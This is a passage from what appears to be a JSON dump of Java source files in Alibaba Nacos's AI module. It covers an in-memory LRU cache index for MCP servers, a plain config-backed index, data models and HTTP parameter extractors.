namespaceId, mcpName);\n            cacheIndex.removeIndex(namespaceId, mcpName);\n        } else {\n            LOGGER.debug(\"Cache is disabled, ignoring cache removal by name: namespaceId={}, mcpName={}\", namespaceId,\n                    mcpName);\n        }\n    }\n    \n    /**\n     * Remove cache entry by MCP server ID.\n     *\n     * @param mcpId MCP server ID\n     */\n    @Override\n    public void removeMcpServerById(String mcpId) {\n        if (cacheEnabled) {\n            LOGGER.debug(\"Removing cache entry by ID: mcpId={}\", mcpId);\n            cacheIndex.removeIndex(mcpId);\n        } else {\n            LOGGER.debug(\"Cache is disabled, ignoring cache removal by ID: mcpId={}\", mcpId);\n        }\n    }\n} "
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/index/McpCacheIndex.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.index;\n\nimport com.alibaba.nacos.ai.model.mcp.McpServerIndexData;\n\n/**\n * MCP cache index interface providing fast mapping between MCP Name and MCP ID.\n *\n * @author misselvexu\n */\npublic interface McpCacheIndex {\n    \n    /**\n     * Get MCP ID by namespace ID and MCP name.\n     *\n     * @param namespaceId namespace ID\n     * @param mcpName     MCP name\n     * @return MCP ID, returns null if not found\n     */\n    String getMcpId(String namespaceId, String mcpName);\n    \n    /**\n     * Get MCP server information by namespace ID and MCP name.\n     *\n     * @param namespaceId namespace ID\n     * @param mcpName     MCP name\n     * @return MCP server information, returns null if not found\n     */\n    McpServerIndexData getMcpServerByName(String namespaceId, String mcpName);\n    \n    /**\n     * Get MCP server information by MCP ID.\n     *\n     * @param mcpId MCP ID\n     * @return MCP server information, returns null if not found\n     */\n    McpServerIndexData getMcpServerById(String mcpId);\n    \n    /**\n     * Update index.\n     *\n     * @param namespaceId namespace ID\n     * @param mcpName     MCP name\n     * @param mcpId       MCP ID\n     */\n    void updateIndex(String namespaceId, String mcpName, String mcpId);\n    \n    /**\n     * Remove index by name.\n     *\n     * @param namespaceId namespace ID\n     * @param mcpName     MCP name\n     */\n    void removeIndex(String namespaceId, String mcpName);\n    \n    /**\n     * Remove index by ID.\n     *\n     * @param mcpId MCP ID\n     */\n    void removeIndex(String mcpId);\n    \n    /**\n     * Clear cache.\n     */\n    void clear();\n    \n    /**\n     * Get cache size.\n     *\n     * @return number of cache entries\n     */\n    int getSize();\n    \n    /**\n     * Get cache statistics.\n     *\n     * @return cache statistics\n     */\n    CacheStats getStats();\n    \n    /**\n     * Cache statistics.\n     */\n    class CacheStats {\n        \n        private final long hitCount;\n        \n        private final long missCount;\n        \n        private final long evictionCount;\n        \n        private final long size;\n        \n        public CacheStats(long hitCount, long missCount, long evictionCount, long size) {\n            this.hitCount = hitCount;\n            this.missCount = missCount;\n            this.evictionCount = evictionCount;\n            this.size = size;\n        }\n        \n        public long getHitCount() {\n            return hitCount;\n        }\n        \n        public long getMissCount() {\n            return missCount;\n        }\n        \n        public long getEvictionCount() {\n            return evictionCount;\n        }\n        \n        public long getSize() {\n            return size;\n        }\n        \n        public double getHitRate() {\n            long total = hitCount + missCount;\n            return total == 0 ? 0.0 : (double) hitCount / total;\n        }\n    }\n} "
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/index/McpServerIndex.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.index;\n\nimport com.alibaba.nacos.ai.model.mcp.McpServerIndexData;\nimport com.alibaba.nacos.api.model.Page;\n\n/**\n * Server info index interface. We should know the relation between the mcp server id and namespaceId + mcpServerName.\n *\n * @author xinluo\n */\npublic interface McpServerIndex {\n    \n    /**\n     * Search Mcp server by name and namespaceId with pagination.\n     *\n     * @param namespaceId namespace ID\n     * @param name        mcp server name\n     * @param search      search mode\n     * @param pageNo      page number\n     * @param limit       page size limit\n     * @return MCP Server Index Data page\n     */\n    Page<McpServerIndexData> searchMcpServerByNameWithPage(String namespaceId, String name, String search, int pageNo,\n            int limit);\n    /**\n     * Get mcp server by id.\n     *\n     * @param id mcp server id\n     * @return {@link McpServerIndexData}\n     */\n    McpServerIndexData getMcpServerById(String id);\n    \n    /**\n     * Get mcp server by namespaceId and servername.\n     *\n     * @param namespaceId namespaceId\n     * @param name        servername\n     * @return {@link McpServerIndexData}\n     */\n    McpServerIndexData getMcpServerByName(String namespaceId, String name);\n    \n    /**\n     * Remove cache entry by namespace ID and MCP server name.\n     *\n     * @param namespaceId namespace ID\n     * @param mcpName     MCP server name\n     */\n    void removeMcpServerByName(String namespaceId, String mcpName);\n    \n    /**\n     * Remove cache entry by MCP server ID.\n     *\n     * @param mcpId MCP server ID\n     */\n    void removeMcpServerById(String mcpId);\n}\n"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/index/MemoryMcpCacheIndex.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.index;\n\nimport com.alibaba.nacos.ai.config.McpCacheIndexProperties;\nimport com.alibaba.nacos.ai.model.mcp.McpServerIndexData;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.util.Iterator;\nimport java.util.Map;\nimport java.util.concurrent.ConcurrentHashMap;\nimport java.util.concurrent.ScheduledExecutorService;\nimport java.util.concurrent.ScheduledThreadPoolExecutor;\nimport java.util.concurrent.ThreadPoolExecutor;\nimport java.util.concurrent.TimeUnit;\nimport java.util.concurrent.atomic.AtomicLong;\nimport java.util.concurrent.locks.ReentrantReadWriteLock;\n\n/**\n * Memory-based MCP cache index implementation with optimized locking.\n *\n * <p>\n * TODO This Memory cache might include some design issues:\n * <ul>\n *     <li>\n *         1. The read method in cache include LRU operation(write), which means read lock can't intercept write operation\n *          in multiple threads reading and cause thread-safe problem.\n *     </li>\n *     <li>\n *         2. For solve problem 1. Use {@code synchronized} wrapper {@link #removeFromLru} and {@link #moveToHead} method,\n *         which may cause the read operation performance will be affected in high qps.\n *     </li>\n *     <li>\n *         3. The next consider it whether keep the LRU behavior in next versions when qps improved. If keep it, the LRU cache should\n *         be re-designed or use stabled high performance LRU cache such as guava.\n *     </li>\n * </ul>\n * </p>\n *\n * @author misselvexu\n */\npublic class MemoryMcpCacheIndex implements McpCacheIndex {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(MemoryMcpCacheIndex.class);\n    \n    private static final int DEFAULT_SHUTDOWN_TIMEOUT_SECONDS = 5;\n    \n    private final McpCacheIndexProperties properties;\n    \n    private final ConcurrentHashMap<String, CacheNode> idToEntry;\n    \n    private final ConcurrentHashMap<String, String> nameKeyToId;\n    \n    private final CacheNode head;\n    \n    private final CacheNode tail;\n    \n    private final ReentrantReadWriteLock lock;\n    \n    private final ReentrantReadWriteLock.ReadLock readLock;\n    \n    private final ReentrantReadWriteLock.WriteLock writeLock;\n    \n    private final AtomicLong hitCount;\n    \n    private final AtomicLong missCount;\n    \n    private final AtomicLong evictionCount;\n    \n    private final ScheduledExecutorService cleanupScheduler;\n    \n    private volatile boolean shutdown = false;\n    \n    public MemoryMcpCacheIndex(McpCacheIndexProperties properties) {\n        this.properties = properties;\n        \n        // Initialize cache storage\n        this.idToEntry = new ConcurrentHashMap<>(properties.getMaxSize());\n        this.nameKeyToId = new ConcurrentHashMap<>();\n        \n        // Initialize LRU linked list\n        this.head = new CacheNode(\"\", null, 0);\n        this.tail = new CacheNode(\"\", null, 0);\n        this.head.next = this.tail;\n        this.tail.prev = this.head;\n        \n        // Initialize lock\n        this.lock = new ReentrantReadWriteLock();\n        this.readLock = lock.readLock();\n        this.writeLock = lock.writeLock();\n        \n        // Initialize statistics\n        this.hitCount = new AtomicLong(0);\n        this.missCount = new AtomicLong(0);\n        this.evictionCount = new AtomicLong(0);\n        \n        // Start cleanup scheduler\n        this.cleanupScheduler = new ScheduledThreadPoolExecutor(1, r -> {\n            Thread t = new Thread(r, \"mcp-cache-cleanup\");\n            t.setDaemon(true);\n            return t;\n        }, new ThreadPoolExecutor.CallerRunsPolicy());\n        \n        // Schedule periodic cleanup\n        this.cleanupScheduler.scheduleWithFixedDelay(this::cleanupExpiredEntries,\n                properties.getCleanupIntervalSeconds(), properties.getCleanupIntervalSeconds(), TimeUnit.SECONDS);\n    }\n    \n    @Override\n    public String getMcpId(String namespaceId, String mcpName) {\n        if (StringUtils.isBlank(namespaceId) || StringUtils.isBlank(mcpName)) {\n            return null;\n        }\n        \n        String key = buildNameKey(namespaceId, mcpName);\n        readLock.lock();\n        try {\n            String id = nameKeyToId.get(key);\n            if (id == null) {\n                missCount.incrementAndGet();\n                return null;\n            }\n            \n            CacheNode node = idToEntry.get(id);\n            if (node == null || node.isExpired(properties.getExpireTimeSeconds())) {\n                // Clean up invalid mapping\n                nameKeyToId.remove(key, id);\n                if (node != null) {\n                    removeFromLru(node);\n                    idToEntry.remove(id, node);\n                }\n                missCount.incrementAndGet();\n                return null;\n            }\n            \n            // Update LRU position\n            moveToHead(node);\n            hitCount.incrementAndGet();\n            return id;\n        } finally {\n            readLock.unlock();\n        }\n    }\n    \n    @Override\n    public McpServerIndexData getMcpServerByName(String namespaceId, String mcpName) {\n        String id = getMcpId(namespaceId, mcpName);\n        if (id == null) {\n            return null;\n        }\n        return getMcpServerById(id);\n    }\n    \n    @Override\n    public McpServerIndexData getMcpServerById(String mcpId) {\n        if (StringUtils.isBlank(mcpId)) {\n            return null;\n        }\n        \n        readLock.lock();\n        try {\n            CacheNode node = idToEntry.get(mcpId);\n            if (node == null || node.isExpired(properties.getExpireTimeSeconds())) {\n                if (node != null) {\n                    removeFromLru(node);\n                    idToEntry.remove(mcpId, node);\n                    cleanupInvalidMappings(mcpId);\n                }\n                missCount.incrementAndGet();\n                return null;\n            }\n            \n            // Update LRU position\n            moveToHead(node);\n            hitCount.incrementAndGet();\n            return node.data;\n        } finally {\n            readLock.unlock();\n        }\n    }\n    \n    @Override\n    public void updateIndex(String namespaceId, String mcpName, String mcpId) {\n        if (StringUtils.isBlank(namespaceId) || StringUtils.isBlank(mcpName) || StringUtils.isBlank(mcpId)) {\n            return;\n        }\n        \n        McpServerIndexData data = McpServerIndexData.newIndexData(mcpId, namespaceId);\n        CacheNode newNode = new CacheNode(mcpId, data, System.currentTimeMillis() / 1000);\n        \n        writeLock.lock();\n        try {\n            CacheNode oldNode = idToEntry.put(mcpId, newNode);\n            if (oldNode != null) {\n                // Remove old node from LRU list\n                removeFromLru(oldNode);\n            }\n            \n            // Add to head of LRU list\n            addToHead(newNode);\n            \n            // Check if eviction is needed and evict until size is correct\n            while (idToEntry.size() > properties.getMaxSize()) {\n                evictLeastRecentlyUsed();\n            }\n            \n            // Update name mapping\n            String key = buildNameKey(namespaceId, mcpName);\n            nameKeyToId.put(key, mcpId);\n        } finally {\n            writeLock.unlock();\n        }\n    }\n    \n    @Override\n    public void removeIndex(String namespaceId, String mcpName) {\n        if (StringUtils.isBlank(namespaceId) || StringUtils.isBlank(mcpName)) {\n            return;\n        }\n        \n        String key = buildNameKey(namespaceId, mcpName);\n        String id = nameKeyToId.remove(key);\n        if (id != null) {\n            CacheNode node = idToEntry.remove(id);\n            if (node != null) {\n                removeFromLru(node);\n            }\n        }\n    }\n    \n    @Override\n    public void removeIndex(String mcpId) {\n        if (StringUtils.isBlank(mcpId)) {\n            return;\n        }\n        \n        CacheNode node = idToEntry.remove(mcpId);\n        if (node != null) {\n            removeFromLru(node);\n        }\n        cleanupInvalidMappings(mcpId);\n    }\n    \n    @Override\n    public void clear() {\n        writeLock.lock();\n        try {\n            idToEntry.clear();\n            nameKeyToId.clear();\n            head.next = tail;\n            tail.prev = head;\n        } finally {\n            writeLock.unlock();\n        }\n        \n        hitCount.set(0);\n        missCount.set(0);\n        evictionCount.set(0);\n    }\n    \n    @Override\n    public int getSize() {\n        return idToEntry.size();\n    }\n    \n    @Override\n    public CacheStats getStats() {\n        return new CacheStats(hitCount.get(), missCount.get(), evictionCount.get(), getSize());\n    }\n    \n    /**\n     * Shuts down the cache and cleans up resources.\n     */\n    public void shutdown() {\n        if (!shutdown) {\n            shutdown = true;\n            cleanupScheduler.shutdown();\n            try {\n                if (!cleanupScheduler.awaitTermination(DEFAULT_SHUTDOWN_TIMEOUT_SECONDS, TimeUnit.SECONDS)) {\n                    cleanupScheduler.shutdownNow();\n                }\n            } catch (InterruptedException e) {\n                cleanupScheduler.shutdownNow();\n                Thread.currentThread().interrupt();\n            }\n            clear();\n        }\n    }\n    \n    private String buildNameKey(String namespaceId, String mcpName) {\n        return namespaceId + \"::\" + mcpName;\n    }\n    \n    private void cleanupInvalidMappings(String mcpId) {\n        nameKeyToId.entrySet().removeIf(entry -> mcpId.equals(entry.getValue()));\n    }\n    \n    private void cleanupExpiredEntries() {\n        if (shutdown) {\n            return;\n        }\n        \n        try {\n            Iterator<Map.Entry<String, CacheNode>> iterator = idToEntry.entrySet().iterator();\n            \n            while (iterator.hasNext()) {\n                Map.Entry<String, CacheNode> entry = iterator.next();\n                CacheNode node = entry.getValue();\n                \n                if (node.isExpired(properties.getExpireTimeSeconds())) {\n                    iterator.remove();\n                    removeFromLru(node);\n                    cleanupInvalidMappings(entry.getKey());\n                    evictionCount.incrementAndGet();\n                }\n            }\n        } catch (Exception e) {\n            LOGGER.error(\"Clean up expired mcp id and name cache failed.\", e);\n        }\n    }\n    \n    private void evictLeastRecentlyUsed() {\n        CacheNode last = tail.prev;\n        if (last != head) {\n            CacheNode removed = idToEntry.remove(last.key);\n            if (removed != null) {\n                removeFromLru(last);\n                cleanupInvalidMappings(last.key);\n                evictionCount.incrementAndGet();\n            }\n        }\n    }\n    \n    private void addToHead(CacheNode node) {\n        node.prev = head;\n        node.next = head.next;\n        head.next.prev = node;\n        head.next = node;\n    }\n    \n    private synchronized void removeFromLru(CacheNode node) {\n        if (node.prev != null && node.next != null) {\n            node.prev.next = node.next;\n            node.next.prev = node.prev;\n        }\n    }\n    \n    private synchronized void moveToHead(CacheNode node) {\n        // Remove from current position\n        if (node.prev != null && node.next != null) {\n            node.prev.next = node.next;\n            node.next.prev = node.prev;\n        }\n        // Add to head\n        node.prev = head;\n        node.next = head.next;\n        head.next.prev = node;\n        head.next = node;\n    }\n    \n    // Inner classes\n    \n    private static class CacheNode {\n        \n        final String key;\n        \n        final McpServerIndexData data;\n        \n        final long createTimeSeconds;\n        \n        volatile CacheNode prev;\n        \n        volatile CacheNode next;\n        \n        CacheNode(String key, McpServerIndexData data, long createTimeSeconds) {\n            this.key = key;\n            this.data = data;\n            this.createTimeSeconds = createTimeSeconds;\n        }\n        \n        boolean isExpired(long expireTimeSeconds) {\n            if (expireTimeSeconds <= 0) {\n                return false;\n            }\n            long currentTimeSeconds = System.currentTimeMillis() / 1000;\n            return (currentTimeSeconds - createTimeSeconds) >= expireTimeSeconds;\n        }\n    }\n} "
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/index/PlainMcpServerIndex.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.index;\n\nimport java.util.List;\n\nimport com.alibaba.nacos.ai.constant.Constants;\nimport com.alibaba.nacos.ai.model.mcp.McpServerIndexData;\nimport com.alibaba.nacos.ai.utils.McpConfigUtils;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.common.utils.CollectionUtils;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.config.server.service.ConfigDetailService;\nimport com.alibaba.nacos.config.server.service.query.ConfigQueryChainService;\nimport com.alibaba.nacos.config.server.service.query.model.ConfigQueryChainRequest;\nimport com.alibaba.nacos.config.server.service.query.model.ConfigQueryChainResponse;\nimport com.alibaba.nacos.core.service.NamespaceOperationService;\n\n/**\n * Plain Mcp server index implementation. This is empty index implementation so the performance is not well. this should\n * be implemented by memory index or db index.\n *\n * @author xinluo\n */\npublic class PlainMcpServerIndex extends AbstractMcpServerIndex {\n    \n    private final ConfigQueryChainService configQueryChainService;\n    \n    public PlainMcpServerIndex(NamespaceOperationService namespaceOperationService,\n            ConfigDetailService configDetailService, ConfigQueryChainService configQueryChainService) {\n        super(namespaceOperationService, configDetailService);\n        this.configQueryChainService = configQueryChainService;\n    }\n    \n    /**\n     * Get mcp server by id.\n     *\n     * @param id mcp server id\n     * @return {@link McpServerIndexData} return null if server not found\n     */\n    @Override\n    public McpServerIndexData getMcpServerById(String id) {\n        if (StringUtils.isEmpty(id)) {\n            return null;\n        }\n        \n        List<String> namespaceList = fetchOrderedNamespaceList();\n        for (String namespaceId : namespaceList) {\n            McpServerIndexData result = getMcpServerById(namespaceId, id);\n            if (result != null) {\n                return result;\n            }\n        }\n        return null;\n    }\n    \n    public McpServerIndexData getMcpServerById(String namespaceId, String id) {\n        ConfigQueryChainRequest request = buildConfigQueryChainRequest(namespaceId, id);\n        ConfigQueryChainResponse response = configQueryChainService.handle(request);\n        if (McpConfigUtils.isConfigFound(response.getStatus())) {\n            return McpServerIndexData.newIndexData(id, namespaceId);\n        }\n        return null;\n    }\n    \n    private ConfigQueryChainRequest buildConfigQueryChainRequest(String namespaceId, String serverId) {\n        ConfigQueryChainRequest request = new ConfigQueryChainRequest();\n        request.setTenant(namespaceId);\n        request.setDataId(McpConfigUtils.formatServerVersionInfoDataId(serverId));\n        request.setGroup(Constants.MCP_SERVER_VERSIONS_GROUP);\n        return request;\n    }\n    \n    /**\n     * Get mcp server by namespaceId and servername.\n     * If namespaceId is empty, we search all namespaces and return the first found server.\n     * @param namespaceId namespaceId\n     * @param name        servername\n     * @return {@link McpServerIndexData}\n     */\n    @Override\n    public McpServerIndexData getMcpServerByName(String namespaceId, String name) {\n        if (StringUtils.isEmpty(namespaceId)) {\n            return getFirstMcpServerByName(name);\n        }\n\n        Page<McpServerIndexData> indexDataPage = searchMcpServerByNameWithPage(namespaceId, name,\n                Constants.MCP_LIST_SEARCH_ACCURATE, 1, 1);\n        if (CollectionUtils.isNotEmpty(indexDataPage.getPageItems())) {\n            return indexDataPage.getPageItems().get(0);\n        }\n        return null;\n    }\n    \n    /**\n     * Remove cache entry by namespace ID and MCP server name. This is a no-op implementation since PlainMcpServerIndex\n     * doesn't use cache.\n     *\n     * @param namespaceId namespace ID\n     * @param mcpName     MCP server name\n     */\n    @Override\n    public void removeMcpServerByName(String namespaceId, String mcpName) {\n        // No-op implementation since PlainMcpServerIndex doesn't use cache\n    }\n    \n    /**\n     * Remove cache entry by MCP server ID. This is a no-op implementation since PlainMcpServerIndex doesn't use cache.\n     *\n     * @param mcpId MCP server ID\n     */\n    @Override\n    public void removeMcpServerById(String mcpId) {\n        // No-op implementation since PlainMcpServerIndex doesn't use cache\n    }\n\n    @Override\n    protected void afterSearch(McpServerIndexData searchResult, String name) {\n    }\n}\n"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/model/mcp/McpServerIndexData.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.model.mcp;\n\n/**\n * McpServerIndexData.\n * \n * @author xinluo\n */\npublic class McpServerIndexData {\n\n    private String id;\n\n    private String namespaceId;\n\n    /**\n     * Factory method for index data.\n     * @param id server id\n     * @param namespaceId namespaceId\n     * @return index\n     */\n    public static McpServerIndexData newIndexData(String id, String namespaceId) {\n        McpServerIndexData data = new McpServerIndexData();\n        data.setNamespaceId(namespaceId);\n        data.setId(id);\n        return data;\n    }\n\n    public String getId() {\n        return id;\n    }\n\n    public void setId(String id) {\n        this.id = id;\n    }\n\n    public String getNamespaceId() {\n        return namespaceId;\n    }\n\n    public void setNamespaceId(String namespaceId) {\n        this.namespaceId = namespaceId;\n    }\n}\n"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/model/mcp/McpServerStorageInfo.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.model.mcp;\n\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerBasicInfo;\n\n/**\n * Storage model for AI MCP server.\n *\n * @author xiweng.yy\n */\npublic class McpServerStorageInfo extends McpServerBasicInfo {\n    \n    private String toolsDescriptionRef;\n    \n    private String promptDescriptionRef;\n    \n    private String resourceDescriptionRef;\n    \n    public String getToolsDescriptionRef() {\n        return toolsDescriptionRef;\n    }\n    \n    public void setToolsDescriptionRef(String toolsDescriptionRef) {\n        this.toolsDescriptionRef = toolsDescriptionRef;\n    }\n    \n    public String getPromptDescriptionRef() {\n        return promptDescriptionRef;\n    }\n    \n    public void setPromptDescriptionRef(String promptDescriptionRef) {\n        this.promptDescriptionRef = promptDescriptionRef;\n    }\n    \n    public String getResourceDescriptionRef() {\n        return resourceDescriptionRef;\n    }\n    \n    public void setResourceDescriptionRef(String resourceDescriptionRef) {\n        this.resourceDescriptionRef = resourceDescriptionRef;\n    }\n}\n"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/model/mcp/UrlPageResult.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.model.mcp;\n\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerDetailInfo;\n\nimport java.util.List;\n\n/**\n * Url page result.\n * @author xinluo\n */\npublic class UrlPageResult {\n\n    private List<McpServerDetailInfo> servers;\n\n    private String nextCursor;\n\n    public UrlPageResult(List<McpServerDetailInfo> servers, String nextCursor) {\n        this.servers = servers;\n        this.nextCursor = nextCursor;\n    }\n\n    public List<McpServerDetailInfo> getServers() {\n        return servers;\n    }\n\n    public String getNextCursor() {\n        return nextCursor;\n    }\n\n    public void setNextCursor(String nextCursor) {\n        this.nextCursor = nextCursor;\n    }\n\n    public void setServers(List<McpServerDetailInfo> servers) {\n        this.servers = servers;\n    }\n}\n"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/param/AgentHttpParamExtractor.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.param;\n\nimport com.alibaba.nacos.api.ai.model.a2a.AgentCard;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.common.paramcheck.ParamInfo;\nimport com.alibaba.nacos.common.utils.JacksonUtils;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.core.paramcheck.AbstractHttpParamExtractor;\nimport jakarta.servlet.http.HttpServletRequest;\n\nimport java.util.Collections;\nimport java.util.List;\n\n/**\n * Nacos AI Agent or AgentCard param extractor.\n *\n * @author xiweng.yy\n */\npublic class AgentHttpParamExtractor extends AbstractHttpParamExtractor {\n    \n    private static final String AGENT_CARD_PARAM = \"agentCard\";\n    \n    @Override\n    public List<ParamInfo> extractParam(HttpServletRequest request) throws NacosException {\n        ParamInfo paramInfo = new ParamInfo();\n        paramInfo.setNamespaceId(request.getParameter(\"namespaceId\"));\n        paramInfo.setAgentName(request.getParameter(\"agentName\"));\n        if (request.getParameterMap().containsKey(AGENT_CARD_PARAM)) {\n            paramInfo.setAgentName(deserializeAndGetAgentName(request.getParameter(AGENT_CARD_PARAM)));\n        }\n        return Collections.singletonList(paramInfo);\n    }\n    \n    private String deserializeAndGetAgentName(String agentCardJson) {\n        try {\n            AgentCard agentCard = JacksonUtils.toObj(agentCardJson, AgentCard.class);\n            return agentCard.getName();\n        } catch (Exception ignored) {\n            return StringUtils.EMPTY;\n        }\n    }\n}\n"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/param/McpHttpParamExtractor.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.param;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.common.paramcheck.ParamInfo;\nimport com.alibaba.nacos.core.paramcheck.AbstractHttpParamExtractor;\nimport jakarta.servlet.http.HttpServletRequest;\n\nimport java.util.Collections;\nimport java.util.List;\n\n/**\n * Nacos AI MCP server param extractor.\n *\n * @author xiweng.yy\n */\npublic class McpHttpParamExtractor extends AbstractHttpParamExtractor {\n    \n    @Override\n    public List<ParamInfo> extractParam(HttpServletRequest request) throws NacosException {\n        ParamInfo paramInfo = new ParamInfo();\n        paramInfo.setNamespaceId(request.getParameter(\"namespaceId\"));\n        paramInfo.setMcpName(request.getParameter(\"mcpName\"));\n        paramInfo.setMcpId(request.getParameter(\"mcpId\"));\n        return Collections.singletonList(paramInfo);\n    }\n}\n"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/param/PromptHttpParamExtractor.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.param;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.common.paramcheck.ParamInfo;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.core.paramcheck.AbstractHttpParamExtractor;\nimport jakarta.servlet.http.HttpServletRequest;\n\nimport java.util.Collections;\nimport java.util.List;\n\n/**\n * Nacos AI Prompt param extractor.\n *\n * @author nacos\n */\npublic class PromptHttpParamExtractor extends AbstractHttpParamExtractor {\n    \n    private static final String PROMPT_DATA_ID_SUFFIX = \".json\";\n    \n    @Override\n    public List<ParamInfo> extractParam(HttpServletRequest request) throws NacosException {\n        ParamInfo paramInfo = new ParamInfo();\n        paramInfo.setNamespaceId(request.getParameter(\"namespaceId\"));\n        String promptKey = 